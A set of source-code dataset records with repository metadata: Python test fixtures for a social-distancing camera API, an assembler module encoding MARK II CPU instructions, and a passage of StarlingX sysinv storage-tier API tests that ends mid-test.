neuralet/smart-social-distancing
|
3ec95433c24e62ab78d30193b378fefd1801c0a5
|
[
"Apache-2.0"
] | 55
|
2020-05-20T20:16:40.000Z
|
2021-10-13T10:00:56.000Z
|
api/tests/utils/example_models.py
|
AlexRogalskiy/smart-social-distancing
|
2def6738038035e67ac79fc9b72ba072e190321f
|
[
"Apache-2.0"
] | 37
|
2020-05-24T00:48:48.000Z
|
2022-02-28T14:58:13.000Z
|
camera_template = {
"violation_threshold": 100,
"notify_every_minutes": 15,
"emails": "john@email.com,doe@email.com",
"enable_slack_notifications": False,
"daily_report": True,
"daily_report_time": "06:00",
"id": "20",
"name": "Kitchen",
"video_path": "/repo/api/tests/data/mocked_data/data/softbio_vid.mp4",
"tags": "kitchen,living_room",
"dist_method": "CenterPointsDistance",
"live_feed_enabled": False
}
camera_example = {
"violation_threshold": 100,
"notify_every_minutes": 15,
"emails": "john@email.com,doe@email.com",
"enable_slack_notifications": False,
"daily_report": True,
"daily_report_time": "06:00",
"id": "49",
"name": "Kitchen",
"video_path": "/repo/api/tests/data/mocked_data/data/softbio_vid.mp4",
"tags": "kitchen,living_room",
"dist_method": "CenterPointsDistance",
"live_feed_enabled": False
}
camera_example_2 = {
"violation_threshold": 90,
"notify_every_minutes": 14,
"emails": "nicolas@email.com,cage@email.com",
"enable_slack_notifications": False,
"daily_report": True,
"daily_report_time": "05:40",
"id": "50",
"name": "Kitchen",
"video_path": "/repo/api/tests/data/mocked_data/data/softbio_vid.mp4",
"tags": "kitchen,living_room",
"dist_method": "CenterPointsDistance",
"live_feed_enabled": False
}
camera_example_3 = {
"violation_threshold": 95,
"notify_every_minutes": 12,
"emails": "fer@email.com,nando@email.com",
"enable_slack_notifications": False,
"daily_report": True,
"daily_report_time": "04:40",
"id": "51",
"name": "Bedroom",
"video_path": "/repo/api/tests/data/mocked_data/data/softbio_vid.mp4",
"tags": "bedroom,living_room",
"dist_method": "CenterPointsDistance",
"live_feed_enabled": False
}
camera_example_4 = {
"violation_threshold": 95,
"notify_every_minutes": 12,
"emails": "john@email.com,cena@email.com",
"enable_slack_notifications": False,
"daily_report": True,
"daily_report_time": "03:15",
"id": "52",
"name": "Bedroom",
"video_path": "/repo/api/tests/data/mocked_data/data/softbio_vid.mp4",
"tags": "bedroom,living_room",
"dist_method": "CenterPointsDistance",
"live_feed_enabled": False
}
area_example = {
"violation_threshold": 100,
"notify_every_minutes": 15,
"emails": "Michael@email.com,Sanz@email.com",
"enable_slack_notifications": False,
"daily_report": True,
"daily_report_time": "11:38",
"occupancy_threshold": 300,
"id": "5",
"name": "Kitchen",
"cameras": "49,50"
}
area_example_2 = {
"violation_threshold": 100,
"notify_every_minutes": 15,
"emails": "Michael@email.com,Sanz@email.com",
"enable_slack_notifications": False,
"daily_report": True,
"daily_report_time": "02:12",
"occupancy_threshold": 300,
"id": "6",
"name": "Kitchen",
"cameras": "51,52"
}
| 27.598131
| 74
| 0.650186
| 355
| 2,953
| 5.115493
| 0.225352
| 0.061674
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| 0.85793
| 0.85793
| 0.85793
| 0.85793
| 0.807269
| 0.803414
| 0
| 0.039046
| 0.176092
| 2,953
| 106
| 75
| 27.858491
| 0.707357
| 0
| 0
| 0.648936
| 0
| 0
| 0.60339
| 0.222712
| 0
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| 0
| false
| 0
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| 0
| null | 0
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| 1
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| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
131d57256c559641b7eda739e6a9f06b6045f79d
| 22,362
|
py
|
Python
|
toolchain/m2tools/src/assembler/pass1objects.py
|
VladisM/MARK_II-SoC
|
58a441675729d4036b503c2a4743fd181daaf5af
|
[
"MIT"
] | 25
|
2017-07-21T08:56:19.000Z
|
2021-05-09T22:12:15.000Z
|
toolchain/m2tools/src/assembler/pass1objects.py
|
C-ArenA/MARK_II
|
58a441675729d4036b503c2a4743fd181daaf5af
|
[
"MIT"
] | 30
|
2016-07-12T22:12:58.000Z
|
2018-06-03T14:08:07.000Z
|
toolchain/m2tools/src/assembler/pass1objects.py
|
C-ArenA/MARK_II
|
58a441675729d4036b503c2a4743fd181daaf5af
|
[
"MIT"
] | 5
|
2017-11-20T14:46:22.000Z
|
2020-04-01T10:48:10.000Z
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# pass1objects.py
#
# Part of MARK II project. For informations about license, please
# see file /LICENSE .
#
# author: Vladislav Mlejnecký
# email: v.mlejnecky@seznam.cz
from common import *
class item():
def __init__(self, parrent, address):
self.address = address
self.parrent = parrent
class blob(item):
def __init__(self, parrent, address, data):
item.__init__(self, parrent, address)
self.data = data
self.relocation = False
self.special = False
def translate(self, symbol_table, special_symbol_table):
result = trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.data)
return checkSizeOfImmediate(self, 32, result[0])
class instruction(item):
def __init__(self, parrent, address, opcode):
item.__init__(self, parrent, address)
self.opcode = opcode
self.relocation = False
self.special = False
self.register_a = "R0"
self.register_b = "R0"
self.register_c = "R0"
self.register_f = "R0"
self.reg_a = 0
self.reg_b = 0
self.reg_c = 0
self.reg_f = 0
self.regs = 0
def decodeRegs(self):
self.reg_a = self.decodeRegName(self.register_a)
self.reg_b = self.decodeRegName(self.register_b)
self.reg_c = self.decodeRegName(self.register_c)
self.reg_f = self.decodeRegName(self.register_f)
self.regs = (self.reg_f << 20) | (self.reg_a << 8) | (self.reg_b << 4) | self.reg_c
def decodeRegName(self, reg_name):
reg = -1
if reg_name == "R0": reg = 0
elif reg_name == "R1": reg = 1
elif reg_name == "R2": reg = 2
elif reg_name == "R3": reg = 3
elif reg_name == "R4": reg = 4
elif reg_name == "R5": reg = 5
elif reg_name == "R6": reg = 6
elif reg_name == "R7": reg = 7
elif reg_name == "R8": reg = 8
elif reg_name == "R9": reg = 9
elif reg_name == "R10": reg = 10
elif reg_name == "R11": reg = 11
elif reg_name == "R12": reg = 12
elif reg_name == "R13": reg = 13
elif reg_name == "R14": reg = 14
elif reg_name == "R15": reg = 15
elif reg_name == "PC": reg = 14
elif reg_name == "SP": reg = 15
else: reg = -1
if reg == -1:
print "Error! Instruction '" + self.opcode + "' at " + self.parrent.fileName + "@" + str(self.parrent.lineNumber) + ". Invalid name of register."
sys.exit(1)
else:
return reg
class RET(instruction):
def __init__(self, parrent, address):
instruction.__init__(self, parrent, address, 'RET')
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x01000000
class RETI(instruction):
def __init__(self, parrent, address):
instruction.__init__(self, parrent, address, 'RETI')
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x02000000
class CALLI(instruction):
def __init__(self, parrent, address, register_1):
instruction.__init__(self, parrent, address, 'CALLI')
self.register_a = register_1
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x03000000
class PUSH(instruction):
def __init__(self, parrent, address, register_1):
instruction.__init__(self, parrent, address, 'PUSH')
self.register_b = register_1
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x04000000
class POP(instruction):
def __init__(self, parrent, address, register_1):
instruction.__init__(self, parrent, address, 'POP')
self.register_c = register_1
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x05000000
class LDI(instruction):
def __init__(self, parrent, address, register_1, register_2):
instruction.__init__(self, parrent, address, 'LDI')
self.register_a = register_1
self.register_c = register_2
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x06000000
class STI(instruction):
def __init__(self, parrent, address, register_1, register_2):
instruction.__init__(self, parrent, address, 'STI')
self.register_b = register_1
self.register_a = register_2
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x07000000
class BNZI(instruction):
def __init__(self, parrent, address, register_1, register_2):
instruction.__init__(self, parrent, address, 'BNZI')
self.register_f = register_1
self.register_a = register_2
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x08000000
class BZI(instruction):
def __init__(self, parrent, address, register_1, register_2):
instruction.__init__(self, parrent, address, 'BZI')
self.register_f = register_1
self.register_a = register_2
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x09000000
class CMPI(instruction):
def __init__(self, parrent, address, comparison, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'CMPI')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
self.comparison = comparison
def __decodeComparison(self):
code = -1
if self.comparison == "EQ" : code = 6;
elif self.comparison == "NEQ" : code = 7;
elif self.comparison == "L" : code = 10;
elif self.comparison == "LU" : code = 14;
elif self.comparison == "LE" : code = 11;
elif self.comparison == "LEU" : code = 15;
elif self.comparison == "G" : code = 8;
elif self.comparison == "GU" : code = 12;
elif self.comparison == "GE" : code = 9;
elif self.comparison == "GEU" : code = 13;
else: code = -1
if code == -1:
print "Error! Instruction '" + self.opcode + "' at " + self.parrent.fileName + "@" + str(self.parrent.lineNumber) + ". Invalid comparison name."
sys.exit(1)
else:
return code
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
comp = self.__decodeComparison()
return self.regs | 0x0A000000 + (comp << 20)
class CMPF(instruction):
def __init__(self, parrent, address, comparison, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'CMPF')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
self.comparison = comparison
def __decodeComparison(self):
code = -1
if self.comparison == "EQ" : code = 0;
elif self.comparison == "NEQ" : code = 5;
elif self.comparison == "L" : code = 3;
elif self.comparison == "LE" : code = 4;
elif self.comparison == "G" : code = 1;
elif self.comparison == "GE" : code = 2;
else: code = -1
if code == -1:
print "Error! Instruction '" + self.opcode + "' at " + self.parrent.fileName + "@" + str(self.parrent.lineNumber) + ". Invalid comparison name."
sys.exit(1)
else:
return code
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
comp = self.__decodeComparison()
return self.regs | 0x0B000000 + (comp << 20)
class MULU(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'MULU')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0C000000
class MUL(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'MUL')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0C100000
class ADD(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'ADD')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0C600000
class SUB(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'SUB')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0C700000
class INC(instruction):
def __init__(self, parrent, address, register_1, register_2):
instruction.__init__(self, parrent, address, 'INC')
self.register_a = register_1
self.register_c = register_2
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0C800000
class DEC(instruction):
def __init__(self, parrent, address, register_1, register_2):
instruction.__init__(self, parrent, address, 'DEC')
self.register_a = register_1
self.register_c = register_2
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0C900000
class AND(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'AND')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0CA00000
class OR(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'OR')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0CB00000
class XOR(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'XOR')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0CC00000
class NOT(instruction):
def __init__(self, parrent, address, register_1, register_2):
instruction.__init__(self, parrent, address, 'NOT')
self.register_a = register_1
self.register_c = register_2
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0CD00000
class DIVU(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'DIVU')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0D200000
class DIV(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'DIV')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0D300000
class REMU(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'REMU')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0D400000
class REM(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'REM')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0D500000
class LSL(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'LSL')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0E000000
class LSR(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'LSR')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0E100000
class ROL(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'ROL')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0E200000
class ROR(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'ROR')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0E300000
class ASL(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'ASL')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0E400000
class ASR(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'ASR')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0E500000
class FSUB(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'FSUB')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0F000000
class FADD(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'FADD')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x0F300000
class FMUL(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'FMUL')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x10100000
class FDIV(instruction):
def __init__(self, parrent, address, register_1, register_2, register_3):
instruction.__init__(self, parrent, address, 'FDIV')
self.register_a = register_1
self.register_b = register_2
self.register_c = register_3
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x11200000
class MVIL(instruction):
def __init__(self, parrent, address, register, value):
instruction.__init__(self, parrent, address, 'MVIL')
self.register_c = register
self.register_b = register
self.value = value
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
value = checkSizeOfImmediate(self, 16, trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.value)[0])
return self.regs | 0x12000000 | (value << 8)
class MVIH(instruction):
def __init__(self, parrent, address, register, value):
instruction.__init__(self, parrent, address, 'MVIH')
self.register_c = register
self.register_b = register
self.value = value
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
value = checkSizeOfImmediate(self, 16, trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.value)[0])
return self.regs | 0x13000000 | (value << 8)
class CALL(instruction):
def __init__(self, parrent, address, call_address):
instruction.__init__(self, parrent, address, 'CALL')
self.call_address = call_address
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
result = trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.call_address)
self.relocation = result[1]
call_address = checkSizeOfImmediate(self, 24, result[0])
self.special = result[2]
return self.regs | 0x80000000 | (call_address << 4)
class LD(instruction):
def __init__(self, parrent, address, ld_address, register):
instruction.__init__(self, parrent, address, 'LD')
self.register_c = register
self.ld_address = ld_address
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
result = trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.ld_address)
self.relocation = result[1]
ld_address = checkSizeOfImmediate(self, 24, result[0])
self.special = result[2]
return self.regs | 0x90000000 | (ld_address << 4)
class ST(instruction):
def __init__(self, parrent, address, register, st_address):
instruction.__init__(self, parrent, address, 'ST')
self.register_b = register
self.st_address = st_address
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
result = trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.st_address)
self.relocation = result[1]
st_address = checkSizeOfImmediate(self, 24, result[0])
self.special = result[2]
return self.regs | 0xA0000000 | (st_address & 0xF) | (((st_address & 0xFFFFF0) >> 4) << 8)
class BZ(instruction):
def __init__(self, parrent, address, register, br_address):
instruction.__init__(self, parrent, address, 'BZ')
self.register_f = register
self.br_address = br_address
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
result = trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.br_address)
self.relocation = result[1]
br_address = checkSizeOfImmediate(self, 24, result[0])
self.special = result[2]
return self.regs | 0xB0000000 | ((br_address & 0xF00000) << 4) | (br_address & 0x0FFFFF)
class BNZ(instruction):
def __init__(self, parrent, address, register, br_address):
instruction.__init__(self, parrent, address, 'BNZ')
self.register_f = register
self.br_address = br_address
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
result = trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.br_address)
self.relocation = result[1]
br_address = checkSizeOfImmediate(self, 24, result[0])
self.special = result[2]
return self.regs | 0xC0000000 | ((br_address & 0xF00000) << 4) | (br_address & 0x0FFFFF)
class MVIA(instruction):
def __init__(self, parrent, address, register, operand):
instruction.__init__(self, parrent, address, 'MVIA')
self.register_c = register
self.operand = operand
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
result = trySolveImmediateOperand(self, symbol_table, special_symbol_table, self.operand)
self.relocation = result[1]
operand = checkSizeOfImmediate(self, 24, result[0])
self.special = result[2]
return self.regs | 0xD0000000 | (operand << 4)
class SWI(instruction):
def __init__(self, parrent, address):
instruction.__init__(self, parrent, address, 'SWI')
def translate(self, symbol_table, special_symbol_table):
self.decodeRegs()
return self.regs | 0x14000000
| 34.088415
| 157
| 0.6613
| 2,667
| 22,362
| 5.214473
| 0.082865
| 0.085425
| 0.100309
| 0.14712
| 0.838067
| 0.797224
| 0.770691
| 0.764363
| 0.755375
| 0.750557
| 0
| 0.041341
| 0.238485
| 22,362
| 655
| 158
| 34.140458
| 0.775324
| 0.008944
| 0
| 0.559184
| 0
| 0
| 0.01738
| 0
| 0
| 0
| 0.021804
| 0
| 0
| 0
| null | null | 0
| 0.002041
| null | null | 0.006122
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
133009e85cf9dc3472d036e51598229ce465c915
| 46,673
|
py
|
Python
|
sysinv/sysinv/sysinv/sysinv/tests/api/test_storage_tier.py
|
starlingx-staging/stx-config
|
ccbf0392d1941e7cad6673f6351bd905a5a5d419
|
[
"Apache-2.0"
] | null | null | null |
sysinv/sysinv/sysinv/sysinv/tests/api/test_storage_tier.py
|
starlingx-staging/stx-config
|
ccbf0392d1941e7cad6673f6351bd905a5a5d419
|
[
"Apache-2.0"
] | null | null | null |
sysinv/sysinv/sysinv/sysinv/tests/api/test_storage_tier.py
|
starlingx-staging/stx-config
|
ccbf0392d1941e7cad6673f6351bd905a5a5d419
|
[
"Apache-2.0"
] | null | null | null |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# -*- encoding: utf-8 -*-
#
#
# Copyright (c) 2017-2018 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
"""
Tests for the API /storage_tiers/ methods.
"""
import mock
from six.moves import http_client
from cephclient import wrapper as ceph
try:
from contextlib import nested # Python 2
except ImportError:
from contextlib import ExitStack
from contextlib import contextmanager
@contextmanager
def nested(*contexts):
"""
Reimplementation of nested in python 3.
"""
with ExitStack() as stack:
yield tuple(stack.enter_context(cm) for cm in contexts)
from oslo_serialization import jsonutils
from sysinv.conductor import manager
from sysinv.conductor import rpcapi
from sysinv.common import ceph as ceph_utils
from sysinv.common import constants
from sysinv.common import utils as cutils
from sysinv.common.storage_backend_conf import StorageBackendConfig
from sysinv.db import api as dbapi
from sysinv.openstack.common import context
from sysinv.openstack.common import uuidutils
from sysinv.tests.api import base
from sysinv.tests.db import utils as dbutils
class StorageTierIndependentTCs(base.FunctionalTest):
set_crushmap_patcher = mock.patch.object(ceph_utils.CephApiOperator, 'set_crushmap')
set_monitors_status_patcher = mock.patch.object(ceph_utils.CephApiOperator, 'get_monitors_status')
set_is_initial_config_patcher = mock.patch.object(cutils, 'is_initial_config_complete')
def setUp(self):
super(StorageTierIndependentTCs, self).setUp()
self.mock_set_crushmap = self.set_crushmap_patcher.start()
self.set_monitors_status_patcher = self.set_monitors_status_patcher.start()
self.set_monitors_status_patcher.return_value = \
[3, 2, ['controller-0', 'controller-1', 'storage-0']]
self.set_is_initial_config_patcher = self.set_is_initial_config_patcher.start()
self.set_is_initial_config_patcher.return_value = True
self.system = dbutils.create_test_isystem()
self.cluster = dbutils.create_test_cluster(system_id=self.system.id, name='ceph_cluster')
self.load = dbutils.create_test_load()
self.host = dbutils.create_test_ihost(forisystemid=self.system.id)
def tearDown(self):
super(StorageTierIndependentTCs, self).tearDown()
self.set_crushmap_patcher.stop()
self.set_monitors_status_patcher = self.set_monitors_status_patcher.stop()
self.set_is_initial_config_patcher.stop()
def assertDeleted(self, fullPath):
self.get_json(fullPath, expect_errors=True) # Make sure this line raises an error
#
# StorageTier API:
#
def test_tier_post_empty(self):
values = {}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('No cluster information was provided for tier creation.',
response.json['error_message'])
def test_tier_post_name_without_default(self):
values = {'cluster_uuid': self.cluster.uuid,
'name': 'gold'}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Default system storage tier (%s) must be present '
'before adding additional tiers.' %
constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
response.json['error_message'])
def test_tier_post_no_name(self):
values = {'cluster_uuid': self.cluster.uuid}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
confirm = self.get_json('/storage_tiers/%s/' % response.json['uuid'])
self.assertEqual(confirm['uuid'], response.json['uuid'])
self.assertEqual(confirm['name'], constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH])
self.assertEqual(confirm['type'], constants.SB_TIER_TYPE_CEPH)
self.assertEqual(confirm['status'], constants.SB_TIER_STATUS_DEFINED)
self.assertEqual(confirm['backend_uuid'], None)
self.assertEqual(confirm['cluster_uuid'], self.cluster.uuid)
self.assertEqual(confirm['stors'], [])
self.assertEqual(confirm['capabilities'], {})
def test_tier_post_no_name_again(self):
self.test_tier_post_no_name()
values = {'cluster_uuid': self.cluster.uuid}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Storage tier (%s) already present' %
constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
response.json['error_message'])
def test_tier_post_no_name_and_second(self):
self.test_tier_post_no_name()
values = {'cluster_uuid': self.cluster.uuid,
'name': 'gold'}
with mock.patch.object(ceph_utils.CephApiOperator, 'crushmap_tiers_add'):
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
confirm = self.get_json('/storage_tiers/%s/' % response.json['uuid'])
self.assertEqual(confirm['uuid'], response.json['uuid'])
self.assertEqual(confirm['name'], 'gold')
self.assertEqual(confirm['type'], constants.SB_TIER_TYPE_CEPH)
self.assertEqual(confirm['status'], constants.SB_TIER_STATUS_DEFINED)
self.assertEqual(confirm['backend_uuid'], None)
self.assertEqual(confirm['cluster_uuid'], self.cluster.uuid)
self.assertEqual(confirm['stors'], [])
self.assertEqual(confirm['capabilities'], {})
def test_tier_post_no_name_and_second_again(self):
self.test_tier_post_no_name_and_second()
values = {'cluster_uuid': self.cluster.uuid,
'name': 'gold'}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Storage tier (gold) already present',
response.json['error_message'])
def test_tier_get_one_and_all(self):
self.test_tier_post_no_name_and_second()
values = {'cluster_uuid': self.cluster.uuid,
'name': 'platinum'}
with mock.patch.object(ceph_utils.CephApiOperator, 'crushmap_tiers_add'):
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
confirm = self.get_json('/storage_tiers/%s' % response.json['uuid'])
self.assertEqual(confirm['uuid'], response.json['uuid'])
self.assertEqual(confirm['name'], 'platinum')
self.assertEqual(confirm['type'], constants.SB_TIER_TYPE_CEPH)
self.assertEqual(confirm['status'], constants.SB_TIER_STATUS_DEFINED)
self.assertEqual(confirm['backend_uuid'], None)
self.assertEqual(confirm['cluster_uuid'], self.cluster.uuid)
self.assertEqual(confirm['stors'], [])
self.assertEqual(confirm['capabilities'], {})
tier_list = self.get_json('/storage_tiers')
self.assertIn('platinum', [t['name'] for t in tier_list['storage_tiers']])
self.assertIn('gold', [t['name'] for t in tier_list['storage_tiers']])
self.assertIn(constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
[t['name'] for t in tier_list['storage_tiers']])
tier_list = self.get_json('/clusters/%s/storage_tiers' % confirm['cluster_uuid'])
self.assertIn('platinum', [t['name'] for t in tier_list['storage_tiers']])
self.assertIn('gold', [t['name'] for t in tier_list['storage_tiers']])
self.assertIn(constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
[t['name'] for t in tier_list['storage_tiers']])
def test_tier_detail(self):
values = {'cluster_uuid': self.cluster.uuid}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
confirm = self.get_json('/storage_tiers/%s/' % response.json['uuid'])
self.assertEqual(confirm['uuid'], response.json['uuid'])
self.assertEqual(confirm['name'], constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH])
self.assertEqual(confirm['type'], constants.SB_TIER_TYPE_CEPH)
self.assertEqual(confirm['status'], constants.SB_TIER_STATUS_DEFINED)
self.assertEqual(confirm['backend_uuid'], None)
self.assertEqual(confirm['cluster_uuid'], self.cluster.uuid)
self.assertEqual(confirm['stors'], [])
self.assertEqual(confirm['capabilities'], {})
response = self.get_json('/storage_tiers/%s/detail' % confirm['uuid'], expect_errors=True)
self.assertEqual(http_client.NOT_FOUND, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Resource could not be found.', response.json['error_message'])
tier_list = self.get_json('/storage_tiers/detail')
self.assertIn(constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
[t['name'] for t in tier_list['storage_tiers']])
def test_tier_patch(self):
values = {'cluster_uuid': self.cluster.uuid}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
confirm = self.get_json('/storage_tiers/%s/' % response.json['uuid'])
self.assertEqual(confirm['uuid'], response.json['uuid'])
self.assertEqual(confirm['name'], constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH])
